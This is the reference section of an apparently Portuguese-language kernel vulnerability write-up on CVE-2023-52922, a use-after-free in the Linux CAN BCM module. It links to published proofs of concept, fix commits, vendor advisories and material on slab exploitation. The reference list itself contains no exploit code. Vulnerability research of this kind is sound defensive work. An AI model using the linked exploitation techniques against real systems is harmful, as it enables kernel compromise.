Todas as provas de conceito e materiais para esta pesquisa estão disponíveis em nossa página do GitHub em: https://github.com/alleleintel/research/tree/master/CVE-2023-52922.
REFERÊNCIAS
[1] – can: bcm: Fix UAF in bcm_proc_show()
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=55c3b96074f3f9b0aee19bf93cd71af7516582bb
[2] – can: bcm: Fix UAF in bcm_proc_show()
https://github.com/torvalds/linux/commit/55c3b96074f3f9b0aee19bf93cd71af7516582bb
[3] – Red Hat Security Advisory RHSA-2025:2627
https://access.redhat.com/errata/RHSA-2025:2627
[4] – Red Hat Portal Customer: CVE-2023-52922
https://access.redhat.com/security/cve/cve-2023-52922
[5] – Andrey Konovalov: SLUB Internals for Exploit Developers | LSS Europe 2024
https://youtu.be/XulsBDV4n3w?t=940
[6] – Bit Flipping Attacks Against Free List Pointer Obfuscation
https://blog.infosectcbr.com.au/2020/04/bit-flipping-attacks-against-free-list.html
[7] – How AUTOSLAB Changes the Memory Unsafety Game
https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game
[8] – CVE-2025-38003: can: bcm: add missing rcu read protection for procfs content
https://lore.kernel.org/linux-cve-announce/2025060859-CVE-2025-38003-6565@gregkh/T/#u
[9] – can: bcm: add missing rcu read protection for procfs content
https://github.com/torvalds/linux/commit/dac5e6249159ac255dad9781793dbe5908ac9ddb
[10] – CVE-2025-38004: can: bcm: add locking for bcm_op runtime updates
https://lore.kernel.org/linux-cve-announce/2025060801-CVE-2025-38004-30d2@gregkh/T/#u
[11] – can: bcm: add locking for bcm_op runtime updates
https://github.com/torvalds/linux/commit/c2aba69d0c36a496ab4f2e81e9c2b271f2693fd7
